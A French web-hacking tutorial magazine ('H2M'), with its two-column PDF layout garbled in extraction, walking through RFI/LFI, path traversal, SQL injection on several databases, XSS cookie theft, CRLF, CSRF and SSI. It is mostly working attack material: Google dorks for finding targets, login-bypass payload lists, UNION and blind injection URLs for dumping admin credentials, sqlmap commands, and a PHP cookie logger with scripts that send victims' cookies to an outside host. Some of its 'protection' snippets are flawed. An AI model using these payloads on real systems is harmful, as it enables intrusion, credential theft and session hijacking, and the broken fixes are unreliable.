Académique Documents
Professionnel Documents
Culture Documents
H2M®
How-To Magazine
1
DISCLAIMER
Nous croyons que, si vous ne savez pas comment pirater (de manière
éthique), vous ne pouvez pas vous défendre contre les attaques des pi-
rates d’où le concept :
BE HACKER | BE FREE
Chaque fois que le mot "Hacking" est utilisé dans le magazine « H2M »
doit être considéré comme Hacking éthique.
2
Alors, commençons! Dans ce cas nous allons utiliser null byte bypass ().
Tout ce qui vient après ne compterait pas et ne sera
plus utiliser.
[I] - Inclusion de fichiers à distance Nous l’utilisons également pour le contournement
des téléchargements d’images en php, mais je ne
1) RFI vais pas en parler.
RFI (Remote File Inclusion) est un type de piratage
web. Il se produit lorsque le script PHP utilise les Donc lien devrait ressembler à ceci:
fonctions include () pour inclure certains fichiers Code:
pour une méthode GET. Ce fichier est généralement http://www.site.com/index.php?page=www.shell-
en format de pages txt dont le contenu est affiché. link.com/shell.txt?
Exemple:
Code: 5) Script de protection
http://www.site.com/index.php?page=home Script ressembler à ceci:
Code:
De nos jours, RFI est rarement en usage et tout ce <?php
que vous avez besoin pour l’utiliser sur un site vul- $page = $_GET[‘page’];
nérable est un shell en format txt. include($page);
2) Script vulnérable ?>
Donc, nous allons ajouter des trucs pour le proté-
Code: ger:
<?php
$page = $_GET[‘page’]; Code:
include($page); <?php
?> $page = $_GET[‘page’];
if(file_exists(«pages/».$page) {
3) Exploitation de la vulnérabilité include($page);
Nous avons le site: }
Code: ?>
http://www.site.com/index.php?page=home
Maintenant, au lieu de « home », nous allons utiliser [II] Inclusion de fichiers locaux
notre coquille.
Nous obtenons donc: 1) LFI
Code: LFI Peut être utilisé sur des sites comme:
http://www.site.com/index.php?page=www.shell Code:
-link.com/shell.txt? http://link.com/index.php?page=
3
3) Vérification de la vulnérabilité du site:
Code:
DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_AC-
CEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif,
image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2a d7ac
HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/etc/passwd HTTP_USER_
AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUE-
RY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fpr oc%2Fself%2Fenviron REDIRECT_STATUS=200
REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_
URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc% 2Fself%2Fenviron SCRIPT_FILENAME=/
home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x
SERVER_ADMIN=webmaster**website.com SERVER_NAME=www.website.com SERVER_PORT=80
SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwli-
mited/1.4 FrontPage/5.0.2.2635 Serv..........
Alors proc / self / environ est activé afin que nous puissions télécharger le shell.
4
5) Téléchargement de Shell
Pour télécharger le shell, nous avons besoin de Mozilla:
Code:
http://www.mozilla.com/firefox/
5
[III] Téléchargement de fichier local
1) LFD
LFD (Local File Download) est la vulnérabilité dans le script qui est utilisé pour télécharger des fichiers à
l’aide de la méthode GET, mais vous pouvez également l’utiliser avec POST method en utilisant l’extension
Tamper Data.
Code:
http://site.com/download_file.php?file=notepad.exe
2) Script vulnérable
Code:
<?php
if(isset($_POST[‘download’])) {
$file = $_GET[‘file’];
$file_info = pathinfo($file);
header(‘Content-type: application/x-’.$file_info[‘extension’]);
header(‘Content-Disposition: attachment; filename=’.$file_info[‘basename’]);
header(‘Content-Length: ‘.filesize($file));
readfile($file);
exit;
}
?>
3) Vérification de la vulnérabilité
Pour vérifier si le script est vulnérable, nous allons essayer de télécharger etc / passwd .
Ainsi, au lieu de:
Code:
http://site.com/download_file.php?file=notepad.exe
Code:
http://site.com/download_file.php?file=../../../../../../../../../etc/passwd
Si elle commence à télécharger et si elle ouvre le fichier dans l’éditeur de texte, il va ressembler à quelque
chose comme ceci:
Code:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
Le script est vulnérable!
REMARQUE: S’il s’agit d’un serveur Windows, utilisez boot.ini au lieu de etc / passwd .
4) Exploitation de la vulnérabilité
Maintenant, quand nous savons que le script est vulnérable, nous voulons voir quels fichiers sont sur l’hôte.
Vous pouvez le faire de cette façon:
6
, Code:
http://site.com/download_file.php?filel=../
1.1 Il est possible quand il télécharger le fichier, l’ouvre dans l’éditeur de texte pour imprimer la liste des fi-
chiers dans les répertoires.
1.2 Ou bien il est soit possible de télécharger le fichier mais quand il est ouvert dans l’éditeur de texte le fichier
est vide.
Dans le cas 1.1, nous n’avons pas à deviner nom de fichier et répertoire et nous pouvons télécharger ce que
nous voulons.
Dans le cas 1.2, nous devons deviner nom de fichier et répertoire et nous ne pouvons télécharger que les
fichiers dont le nom est connu. Il ya quelques programmes qui peuvent nous aider à trouver des fichiers
(HTTrack Website Copier par exemple).
5) Script de protection
Nous avons mentionné ce script au début:
Code:
<?php
if(isset($_POST[‘download’])) {
$file = $_GET[‘file’];
$file_info = pathinfo($file);
header(‘Content-type: application/x-’.$file_info[‘extension’]);
header(‘Content-Disposition: attachment; filename=’.$file_info[‘basename’]);
header(‘Content-Length: ‘.filesize($file));
readfile($file);
exit;
}
?>
Code:
<?php
if(isset($_POST[‘download’])) {
$file = $_GET[‘file’];
$file_info = pathinfo($file);
if(file_exists(«download/».$file)) {
header(‘Content-type: application/x-’.$file_info[‘extension’]);
header(‘Content-Disposition: attachment; filename=’.$file_info[‘basename’]);
header(‘Content-Length: ‘.filesize($file));
readfile($file);
exit;
}
}
?>
7
[IV] Procédure complète de divulgation / ( FPD : Full path disclosure)
Cette méthode vous permet de voir plus d'erreurs Il y a beaucoup de façons d'utiliser la vulnérabilité
dans le fichier ou sur les erreurs faites par les pro- FPD sur le site, je vais vous expliquer les 2 plus im-
grammeurs pour vous permettre de voir quels fi- portants.
chiers sont dans quels répertoires.
Au cas où vous ne pouvez pas directement hacké le 1er est sur le tableau, en ajoutant des crochets sur le
site, il vous permettra au moins de faire de la recon- lien comme celui-ci:
naissance. Code:
index.php?page=home
Il est utile car il peut vous aider à accélérer et à faci-
liter le processus, il peut également vous aider avec Pour terminer une attaque de cette vulnérabilité,
l'inclusion locale de fichier (LFI), quand le nom de vous devez ajouter [] sur le fichier de destination:
dossier a changé, ou d’autres fichiers. Code:
. Vous pouvez les trouver à l'aide de FPD (Full path index.php?page[]=home.
disclosure).
Cela vous donnera une erreur comme ceci:
Code:
Warning: include(blah/errors.php) [function.include]: failed to open stream: No such file or directory /
home/insekure/public_html/index.php on line 211
A partir de ce que vous pouvez voir sur le site il existe le répertoire blah .
La 2ème méthode est d'ajouter le cookie le plus utilisé (Null Session Cookie), et vous pouvez l'ajouter par in-
jection Java, en ajoutant du code java sur le site, vous obtiendrez une erreur.
Ajoutez dans votre barre d'adresse et appuyez sur Entrée, maintenant, lorsque la page est rafraîchie vous ob-
tiendrez l'erreur:
Code:
Warning: session_start() [function.session-start]: The session id contains illegal characters, valid characters
are az, AZ, 0-9 and '-,' in /home/example/public_html/thems/errors.php on line 58
Puis essayer d'ouvrir les répertoires themes sur le site, qui devrait vous répertorier les fichiers dans ce réper-
toire.
Protection:
Le moyen le plus simple de se protéger de ces attaques est de désactiver les rapports d'erreurs.
Modifier ou ajouter:
Code:
error_reporting(0);
8
[V] Injection MYSQL
1) Dorks
Code:
inurl:admin.asp
inurl:login/admin.asp
inurl:admin/login.asp
inurl:adminlogin.asp
inurl:adminhome.asp
inurl:admin_login.asp
inurl:administrator_login.asp
Je vais utiliser:
Code:
http://site.com/Admin_Login.asp
2) Connexion
Maintenant, vous pouvez trouver un site sur ces
dorks et essayez de vous connecter avec:
Nom d'utilisateur: Admin
Mot de passe: password 'where 1 = 1-
Code:
'or'1'='1
' or '1'='1
' or 'x'='x
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
'or'1=1'
Password ' ou 1 = 1 va tromper le serveur et vous permettra de vous connecter.
Donc, si vous êtes en mesure de vous connecter, le site est vulnérable et vous allez être en mesure d'utiliser le
panneau d'administration.
9
[VI] Injection SQL
Nous allons ajouter + and + 1 = 2 - à la fin
du lien afin que nous obtenions:
Code:
http://site.com/b o ok.
php?id=141+and+1=2--
Si une partie de la page disparait (image,
texte ou quelque chose) ou une erreur
comme (vous avez une erreur dans votre
syntaxe sql), le site est vulnérable.
11
8) Recherche du nom de la colonne
Nous avons trouvé le nom de la table que nous voulons et maintenant nous voulons prendre des colonnes.
Au lieu de group_concat (nom_table), nous allons placer group_concat (nom_colonne) et au lieu de + from
+ information_schema.tables + where + table_schema = database () - nous allons placer + from + informa-
tion_schema.columns + where + table_name = hex- à la place de « hex » nous devons crypter en hexadécimal
le nom du tableau.
Aller à:
Code:
http://www.string-functions.com/string-hex.aspx
Écrire le nom du tableau (dans ce cas, users ) et nous obtenons le numéro hex-ed: 7573657273 maintenant
nous pouvons voir les colonnes:
Code:
http://site.com/book.php?id=-141+union+select+all+1,group_concat(column_name),3,4,5,6,7+from+
infor mation_schema.columns+where+table_name=0x7573657273--
Au lieu de group_concat (nom_colonne) nous avons mis group_concat (nom_utilisateur, 0x3a, mot_de_passe)
0x3a signifie espace entre utilisateur et mot_de_passe.
Au lieu de + information_schema.columns + where + table_name = 0x7573657273-- nous mettons + from +
users-
12
11) Protection du site contre l'Injection SQL
Il suffit de mettre ce code dans votre script:
Code:
if(!is_numeric($_GET[‘id’]))
{
echo ‘ Il va écrire du texte lorsque certains tenteront d’ajouter /’ or and+1=2’;
}
13
Injection SQL - Charger le fichier
Vous avez trouvé le site avec la vulnérabilité SQL, Hex par exemple
maintenant vous pouvez essayer d’accéder à la table Si nous convertissons le nom du fichier en Hex,
mysql.user et les privilèges de fichier. avant le nom du fichier, nous ajoutons ‘ 0x ‘
14
[VII] Injection MSSQL Et nous obtenons:
Code:
1) Trouver le nombre de colonnes Microsoft OLE DB Provider for ODBC Drivers
error ‘80040e07’
J’utiliserai:
Code: [Microsoft][ODBC SQL Server Driver][SQL Ser-
http://www.site.com/sr/page/member.asp?id=234 ver]Syntax error converting the nvarchar value ‘Mi-
crosoft SQL Server 2000 - 8.00.2055 (Intel X86) Dec
Pour trouver le numéro de la colonne, nous allons 16 2008 19:46:53 Copyright (c) 1988-2003 Microsoft
utiliser la fonction order by. Corporation Desktop Engine on Windows NT 5.2
Nous allons ajouter + order + by + 5 - à la fin du lien. (Build 3790: Service Pack 2) ‘ to a column of data
type int.
Code:
http://www.site.com/sr/page/member.asp?id=23 /sr/page/member.asp, line 38
4+order+by+5--
Et de là nous pouvons voir la version de base de
Nous allons donc obtenir l’erreur suivante: données.
Code:
Microsoft OLE DB Provider for ODBC Drivers 3) Recherche du nom de la table
error ‘80040e14’
Avec MSSQL Injection il n’est pas possible d’obtenir
[Microsoft][ODBC SQL Server Driver][SQL Server] toutes les tables à la fois, nous devons y aller 1 par 1.
The ORDER BY position number 5 is out of range of Code:
the number of items in the select list. ht t p : / / w w w. s i t e . c o m / s r / p a g e / m e m b e r. a s -
p?id=234+union+select+all+1,table_
/sr/page/member.asp, line 38 name,3+from+information_schema.tables--
/sr/page/member.asp, line 44 Et nous pouvons voir que nous avons la table ‘ Pays ‘.
Cela signifie qu’il ya 3 colonnes. Maintenant nous devons trouver d’autres tables.
Nous allons utiliser la fonction not + in. Nous avons
2) Recherche de la version de base de donc un lien:
données
Code:
Pour trouver la version de base de données, nous http://www.site.com/sr/page/member.asp?id=23
utilisons @@ version . 4+union+select+all+1,table_name,3+from+infor
Code: mation_schema.tables+where+table_name+not+
http://www.site.com/sr/page/member.asp?id= in(‘Country’)--
-234+union+select+all+1,@@version,3--
15
Et nous obtenons: Et nous obtenons:
Code: Code:
Microsoft OLE DB Provider for ODBC Drivers Microsoft OLE DB Provider for ODBC Drivers
error ‘80040e07’ error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Ser- [Microsoft][ODBC SQL Server Driver][SQL Ser-
ver]Syntax error converting the nvarchar value ‘Ad- ver]Syntax error converting the nvarchar value
min’ to a column of data type int. ‘PASSWD’ to a column of data type int.
Et de là nous pouvons voir que nous avons la table Donc, les colonnes est PASSWD .
d’Admin.
5) Récupération des données des colonnes
4) Recherche du nom de la colonne
Maintenant , nous devons mettre le nom de la table
Il en est de même pour les colonnes. Nous ne pou- au lieu de nom_table et omettre tout ce qui suit.
vons pas obtenir toutes les colonnes à la fois, donc
nous devons le faire 1 par 1. Dans ce cas, nous allons Code:
utiliser where + table_name = ‘Admin’ - . http://www.site.com/sr/page/member.asp?id=23
Nous avons donc un lien: 4+union+select+all+1,USERNAME,3+from+Ad
min--
Code:
http://www.site.com/sr/page/member.asp?id=23 Nous obtenons le nom d’utilisateur CONELSI .
4+union+select+all+1,column_name,3+from+
information_schema.columns+where+table_ Il en est de même pour le mot de passe:
name =’Admin’--
Code:
Et nous avons l’erreur: http://www.site.com/sr/page/member.asp?id=2
Code: 34+union+select+all+1,PASSWD,3+from+Ad
Microsoft OLE DB Provider for ODBC Drivers min--
eror ‘80040e07’
Nous obtenons le mot de passe ABSOFTCORP .
[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value ‘USER-
NAME’ to a column of data type int.
/sr/page/member.asp, line 38
Code:
http://www.site.com/sr/page/member.asp?id=23
4+union+select+all+1,column_name,3+from+in
formation_schema.columns+where+table_name
=’Admin’+and+column_name+not+in(‘USER
NAME’)--
16
[VIII] BLIND SQLi
Code:
http://www.site.com/index.php?id=1+and+
1) Injection SQL à l’aveuglette ou Blind (select+1)=1
SQLi
Si la page est chargée normalement, nous pouvons
La différence entre SQL Injection et Blind SQL In- utiliser select , mais sinon, nous ne pouvons pas
jection est que cette dernière n’écrit aucune erreur, l’utiliser. Maintenant, nous allons vérifier si nous
aucun nom de table, aucune colonne ou contenu de avons accès à MySQL.
colonne. C’est pourquoi il est appelé Blind SQL. Code:
http://www.site.com/index.php?id=1+and+
Dans une attaque de type Blind Injection nous n’uti- (SELECT+*+from+mysq.user+limit+0,1)=1
lisons pas --i / * * / .
Comme tout le reste, si la page est chargée norma-
2) Vérification de la vulnérabilité du site lement , nous avons accès à mysql.user , sinon alors
nous n’avons pas. Mysql.user est utile pour obtenir
Nous avons un lien: le mot de passe hash ou utiliser load_file () et OUT-
Code: FILE .
http://www.site.com/index.php?id=1
4) Utilisateur MYSQL
Tout d’abord, nous allons vérifier, nous sommes en
mesure d’utiliser select parce qu’il est bloqué parfois.
17
6) Recherche du nom de la colonne Si la page est chargée normalement nous avons trou-
vé une vraie lettre pour le nom d’utilisateur. Pour
Maintenant, quand nous avons trouvé le nom de la trouver notre deuxième lettre changez + limite + 0,1
table que nous voudrions, il serait temps de trouver à + limite + 1,1 .
le nom de la colonne. Nous faisons la même chose Alors maintenant, nous devinons la deuxième lettre
que pour la table. Il y a correspondance de nom, ... C’est la même chose pour le mot de passe ... Donc,
si la page est chargée normalement alors la colonne après un bon bout de temps, nous obtenons le nom
existe. d’utilisateur et le mot de passe. S’il ya plus d’utilisa-
Nous avons besoin de consigner des données. Le teurs et si vous voulez obtenir leurs mots de passe,
nom des colonnes sont nommés habituellement: vous devrez ajouter la fonction where().
Il devrait donc ressembler à:
Code:
username Code:
admin http://www.site.com/index.php?id=1+and+ascii
admin_username (substring((select+concat(column_name)+from+
uname column_name+where+column_name=some
user thing+limit+0,1)1,1))>from DEC letter
nick
password Pour utiliser where pour le second colum_name
pwrod nous utilisons habituellement id, mais nous pou-
admin_password vons également utiliser d’autres choses. Par exemple
pw pour id:
pass
Code:
Le lien que nous utilisons pour les colonnes est: http://www.site.com/index.php?id=1+and+ascii
(substring((select+concat(column_name)+from+
Code: column_name+where+id=1+limit+0,1)1,1))>
http://www.site.com/index.php?id=1+and+ from DEC letter
(select+substring(concat(1,ime_colone),1,1)
from+ime_table+limit+0,1)=1 8) Récupération de données de colonnes
avec sqlmap
7) Récupération de données des colonnes
Comme vous avez déjà remarqué que vous avez be-
Dans une attaque par Blind SQLi, cette partie va soin de beaucoup de temps pour obtenir des don-
être la partie la plus ennuyante et la plus longue. Ici nées de colonnes, je vous suggère d’utiliser sqlmap.
nous allons avoir besoin d’une table ascii . Téléchargement de Windows:
Code:
http://www.asciitable.com/ Code:
http://downloads.sourceforge.net/sqlmap/sqlmap
Nous allons chercher uniquement les tables ascii -0.9.zip
DEC et CHR. D’abord nous allons obtenir le nom
d’utilisateur, lettre par la lettre. Téléchargement Unix:
Donc, nous devons deviner DEC pour une lettre,
par exemple pour A c’est 65. Code:
Nous avons un lien: http://downloads.sourceforge.net/sqlmap ... 0.9
.tar.gz
Code:
http://www.site.com/index.php?id=1+and+ascii REMARQUE: presque tous les systèmes unix ont
(substring((select+concat(column_name)+from+ déjà installé sqlmap, et vous aurez également besoin
column_name+limit+0,1)1,1))>from DEC de python si vous ne l’avez pas déjà.
number
18
Python téléchargement: S’il y a plusieurs utilisateurs, utilisez id:
Code:
http://www.python.org/download/ Code:
sqlmap.py -u «http://site.com/index.php?id=1»
Maintenant, nous devons trouver le répertoire où -p id -a «./txt/user-agents.txt» -v1 --string
sqlmap est situé. «Posted 3-3-2008» -e «(SELECT concat(name_
Démarrer> exécuter> cmd et trouver le répertoire username_columns,0x3a,name_password_
sqlmap à l’aide de la fonction cd. columns) from table_name where id=1)»
Fonction pour démarrer sqlmap pour obtenir des
données avec Blind SQL Injection pour Windows Après -u vous mettez le lien.
est: Après -p vous mettez le paramètre qui est vulnérable
(dans notre cas id).
Code: -a que nous utilisons pour certains utilisateurs aléa-
sqlmap.py -u «http://site.com/index.php?id=1» toires agen-t de txt / user-agents.txt
-p id -a «./txt/user-agents.txt» -v1 --string -v1 est verbeux
«Posted 3-3-2008» -e «(SELECT concat(name_ Après --string stavljamo quelque chose que sqlmap
username columns,0x3a,name_password_ va reconnaître qu’il a trouvé la lettre (une partie du
columns) from table_name)» texte qui disparaitra si le cas est faux).
-e est la commande que nous voulons exécuter.
REMARQUE: pour unix mettre python avant sql- Dans notre cas celui-ci:
mal.py
Il devrait donc ressembler à: Code:
SELECT concat(name_username_columns,0x3a,
Code: name_password_columns) from table_name
python sqlmap.py -u «http://site.com/index.php? where userid=1
id=1» -p id -a «./txt/user-agents.txt» -v1 --string
«Posted 3-3-2008» -e «(SELECT concat(name_
username_columns,0x3a,name_password_
columns) from table_name)»
19
[IX] Injection SQL Postgre Si la page est chargée normalement cela signifie qu’il
y a plus de colonnes.
1) Injection Postgre SQL? Code:
http://www.site.com/page.php?page=1+union+
Postgre SQL Injection est presque identique à SQL select+all+null,null,null,null from dual--
Injection. La différence est que la base de donnée
est Postgre, pas MySQL. Il s’agit d’une attaque un Nous ajoutons null tout le temps jusqu’à ce que nous
peu plus compliquée en généralement que SQL In- obtenions l’erreur. Si nous obtenons une erreur avec
jection. Il y a d’autres fonctions que nous allons uti- 7 null, cela signifie que nous avons 6 colonnes, ce qui
liser, vous verrez. signifie 6 nulls.
2) Trouver des sites vulnérables
5) Trouver des colonnes vulnérables
La détection de la vulnérabilité du site est la même
que celle de SQL Injection habituelle, ce qui signifie Il est tellement facile de trouver la colonne vulné-
que nous pouvons utiliser google dorks. rable. Null = 0, ce qui signifie que tout ce que vous
Voici quelques-uns: placez à la place de ces null, si rien ne se passe, alors
Code: ces colonnes ne sont pas utilisables.
inurl:faq.php?id= C’est comme ça qu’on va trouver une colonne vul-
inurl:event.php?id= nérable.
inurl:index.php?id= Alors:
Code:
3) Vérification de la vulnérabilité du site http://www.site.com/page.php?page=1+union+
select+all+current_database(),null,null,null--+-
Vous avez trouvé un site qui est peut être vulnérable.
Pour vérifier si le site est vulnérable, nous allons 6) Recherche de la version de base de
ajouter ‘ à la fin du lien. données
Code: Nous faisons ceci avec la fonction de version () .
http://www.link.com/page.php?page=1’ Lien qui va nous montrer la version:
Code:
Donc, si sur la page, nous obtenons: http://www.site.com/page.php?page=1+union+
select+all+version(),null,null,null--+-
Code:
Warning: pg_query() [function.pg-query]: Nous allons obtenir quelque chose comme:
Query failed: ERROR: syntax error at or near Code:
PostgreSQL 9.0.4 on i486-pc-linux-gnu, compiled
Ou une partie de la page disparait alors le site est by GCC gcc-4.4.real (Ubuntu 4.4.3-4ubuntu5)
vulnérable. 4.4.3, 32-bit
21
Si la fonction est chargée avec succès vous obtien- Code:
drez ceci à la sortie: http://easycalculation.com/ascii-hex.php
Code:
Warning: pg_query() [function.pg-query]: Query Convertissez le type string « admin » et vous obtien-
failed: ERROR: invalid input syntax for integer: drez le code décimal:
«PostgreSQL 9.0.4 on i486-pc-linux-gnu, compil- Code:
ed by GCC gcc-4.4.real (Ubuntu 4.4.3-4ubuntu5) 97 100 109 105 110
4.4.3, 32-bit»
Nous allons changer ce code un peu, donc il devrait
D’où nous obtenons la version de base de données: ressembler à ceci:
Code: Code:
PostgreSQL 9.0.4 on i486-pc-linux-gnu, compil CHR(97)+||+CHR(100)+||+CHR(109)+||+CHR
ed by GCC gcc-4.4.real (Ubuntu 4.4.3-4ubuntu5) (105)+||+CHR(110)
4.4.3, 32-bit
Maintenant, nous allons le mettre pour les noms de
5) Trouver un nom de table tables et d’obtenir des colonnes.
Code:
Comme je l’ai dit au début, nous ne sommes pas en http://www.site.com/page.php?page=1+and+1=
mesure d’obtenir toutes les tables en même temps, cast((select+column_name+from+information_
nous allons utiliser les fonctions limit et offset . schema.columns+where+table_name=CHR(97)+
||+CHR(100)+||+CHR(109)+||+CHR(105)+||+
Nous allons utiliser offset pour dire quel résultat de CHR(110)+limit+1+offset+0)+as+int)--
la base nous voulons lister.
Notre lien: Et nous allons obtenir l’identifiant de la colonne.
Code: Nous allons changer le décalage tout le temps jusqu’à
http://www.site.com/page.php?page=1+and+1= ce que le site nous retourne sur la page d’accueil, ce
cast((select+table_name+from+information_ qui signifie qu’il n’y a plus de colonnes dans cette
schema.tables+limit+1+offset+0)+as+int)-- table.
À la page, nous obtiendrons cette erreur: 7) Récupération des données des colonnes
Code:
Warning: pg_query() [function.pg-query]: Query Nous avons trouvé le nom d’utilisateur et le mot de
failed: ERROR: invalid input syntax for integer passe de la colonne et maintenant nous voulons ob-
: «pg_type» tenir des données de la colonne.
Code:
À partir de cela nous avons la table pg_type . http://www.site.com/page.php?page=1+and+1=
Pour obtenir la table suivante nous allons changer cast((select+username+||CHR(58)||+password+
de décalage à 1 : from+admin+limit+1+offset+0)+as+int)--
Code:
http://www.link.com/page.php?page=1+and+1= Et nous allons obtenir ceci:
cast((select+table_name+from+information_ Code:
schema.tables+limit+1+offset+1)+as+int)-- admin:21232f297a57a5a743894a0e4a801fc3
Et nous allons obtenir la table comme pg_attribute . CHR (58) présente deux points (:) et nous utilisons
pour obtenir deux colonnes en même temps.
6) Recherche du nom de la colonne NOTE: A partir de maintenant je ne vais pas expli-
quer en détail, parce que je pense que vous avez déjà
Tout d’abord vous devez faire convertir le nom de compris jusqu’à maintenant.
table en décimal. Donc, je vais utiliser des images et des codes seule-
Nous allons utiliser: ment.
22
[XI] Injection SQL sur ASPX
23
Nous voulons la table admin, donc nous tapons le code suivant:
Code:
http://site.com/ImageDisplay.aspx?Id=1535 and 1=convert(int,(select top 1 table_name from information_
schema.tables where table_name not in (‘Tab_FinalOrder’)))
Code:
http://site.com/ImageDisplay.aspx?Id=1535 and 1=convert(int,(select top 1 column_name from
information_schema.columns where table_name = ‘AdminMaster’))
Code:
http://site.com/ImageDisplay.aspx?Id=1535 and 1=convert(int,(select top 1 column_name from
information_schema.columns where table_name = ‘AdminMaster’ and column_name not in (‘Admin_
name’)))
24
Add-on FireCookie:
Code:
https://addons.mozilla.org/en-US/firefox/
addon/ firecookie/
25
5) Le vol de Cookies 1- Ouvrir Mozilla
2- Ouvrir Add-on Fire bug
Pour le vol de Cookies nous aurons besoin de:
- Site vulnérable
-Web-host pour les scripts
-php script
Cookie.php
Code:
<?php
$cookie = $HTTP_GET_VARS[«cookie»];
$file = fopen(‘cookielog.txt’, ‘a’); 3) Tapez le nom et la valeur du cookie. En voici un:
fwrite($file, $cookie.»\n»);
?> Code:
PHPSESSID=db3e4e100ab6bb912de
Exécution du script: 1b80c4eed7898
Code:
<script>document.location=»http://www.site. Le nom du cookie est PHPSESSID
com/cookie.php?cookie=» + document.cookie; La valeur du cookie est b3e4e100ab6bb912de-
</script> 1b80c4eed7898
ili 6) Filtrage du contournement
<script>location.href=»http://www.site.com/
cookie.php?cookie=» + document.cookie; 1- Suppression d'une balise de script
</script> Par exemple si nous tapons <script> alert ("XSS")
ili </ script> et qu'il affiche seulement l'alerte de
<script>window.open(‘http://www.site.com/ commande ("XSS") . Ce script supprime les balises
cookie.php?cookie=’ + document.cookie;) <script> et </ script>
</script> Voici aussi comment contourner la protection: Au
ili lieu de <script> alert ("XSS") </ script> nous allons
<script>window.location=’http://www.site. placer <scr <script> ipt> alert (<XSS>) </ scr </
com/cookie.php?cookie=’ + document. script> ipt>
cookie;</script>
2- magic_quotes
Comment ça marche? Expliqué ici:
Lorsque certains utilisateurs se connectent à la page
avec votre enregistreur de cookies, vous enregistrez Code:
son cookie. Ensuite, nous prenons les cookies et http://en.wikipedia.org/wiki/Magic_quotes
l’utiliser. Voilà comment nous le faisons:
Si vous tapez <script> alert ("XSS") </ script> et
que ça imprime <script> alert (\ "XSS \") </ script>
alors c'est une protection par magic_quotes.
Il est un peu plus difficile de contourner la protec-
tion magic_quotes. Il fonctionne sur String.from-
CharCode.
Voici un exemple:
Il s'agit du lien de notre cookie logger:
http://site.com/cookie.php .
Nous utiliserions <script> location.href = "http://
www.link.com/cookie.php?cookie=" + document.
Cookie; </ script>
26
Cela fonctionne quand vous ajoutez \ , ‘ ou « et quand vous utilisez un entier, vous n’utilisez pas ‘ ou «
Et ici: http://www.link.com/cookie.php?cookie= nous avons également converti le code décimal avec cet
outil:
Code:
Ascii to Decimal
http://pookey.co.uk/binary.php
27
[XIV] CRLF
1) CRLF
CRLF (Carriage Return and Line Feed ) est très facile à utiliser. C’est en fait comme si nous ajoutions une
nouvelle ligne (\ n).
Code:
03.06.2017 10:29 - kuls: Pourquoi la page de connexion est-elle en panne?
03.06.2017 10:29 - ablito: On dirait que quelqu’un a supprimé la base de données de connexion.
03.06.2017 10:29 - Admin: Je vais vérifier cela et vous revenir.
03.06.2017 10:30 - ablito: Ok, allez Merci... \ n03.06.2017 10:30 - Admin: vous avez raison ablito, la base de
données de connexion est supprimée. Connectez-vous ici jusqu’à ce que je la récupère: http://vulnerablesite
.com/login.php
Nous avons écrit le second message de Admin et les utilisateurs penseront que Admin l’a envoyé en fait et se
connecte au site que nous leur avons donné. Avec la connexion, nous allons enregistrer les logins du site.
4) Script vulnérable
par exemple
Code:
<?php
if(isset($_POST[‘send_message’]))
{
if(!empty($_POST[‘message’]))
{
$message = htmlspecialchars($_POST[‘message’]);
// rest code to send msg
}
}
?>
28
[XV] CSRF
1) CSRF?
CSRF (Cross Site Request Forgery ) est un mélange de XSS et de LFI. Il est utilisé pour exécuter un code sans
connaître le nom d’utilisateur.
3) Exploitation de la vulnérabilité
Disons que nous avons un lien de profil:
Code:
http://www.site.com/profile.php
Où vous pouvez voir les données utilisateur (nom d’utilisateur, avatar, email ...).
Maintenant, lorsque l’utilisateur veut modifier son profil en utilisant par exemple
Code:
http://www.site.com/edit_profile.php
Maintenant, au lieu de lien avatar, nous allons ajouter un lien de l’édition de profil avec un nouveau code en
utilisant la méthode GET.
NOTE: Nous devons utiliser la méthode GET lors de l’édition de profil sinon nous ne serons pas en mesure
d’attaquer.
Ajouter un avatar:
Code:
http://www.link.com/edit_profile.php?password=newpassword
password est le nom de l’input (Il peut être différent, il est préférable de voir le code source)
Maintenant, quand nous regardons l’avatar, nous ne serons pas en mesure de voir l’image (comme si il n’y a
pas d’image). Quand un autre utilisateur regarde votre avatar, si l’attaque a réussi, son mot de passe va être
changé celui que nous avons mis.
29
[XVI] Server Side Includes | Server Side Inclusion
Code:
AddType text/html .shtml
AddHandler server-parsed .shtml
AddHandler server-parsed .html
Options Indexes FollowSymLinks Includes
2) Création de SSI
Nous commençons le script avec <! - #
Quelques scripts simples ressemblent à ceci:
<Command> <variable> = <contenu variable> ->
<Command> -
Code:
config
include
flow
set
printenv
echo
exec
fsize
flastmod
time & date
Code:
<!--#include file=»yourfilename.txt» -->
<!--#echo var=’This will write this stupid text.’-->
30
Le site est vulnérable sur SSI lorsque les extensions ‘.shtml’ ‘.shtm’ ou ‘.stm’ sont incluses dans le fichier de
configuration Apache.
Par exemple, nous pouvons créer un fichier avec la commande suivante:
Code:
<!--#exec cmd=’ls -la’-->
31
nelsi.com
Email : contact@co
ww.conelsi.com
Site web : http://w .c om /C onelsisecuritylab
w.f ac eb o ok
Fbk : http://ww
32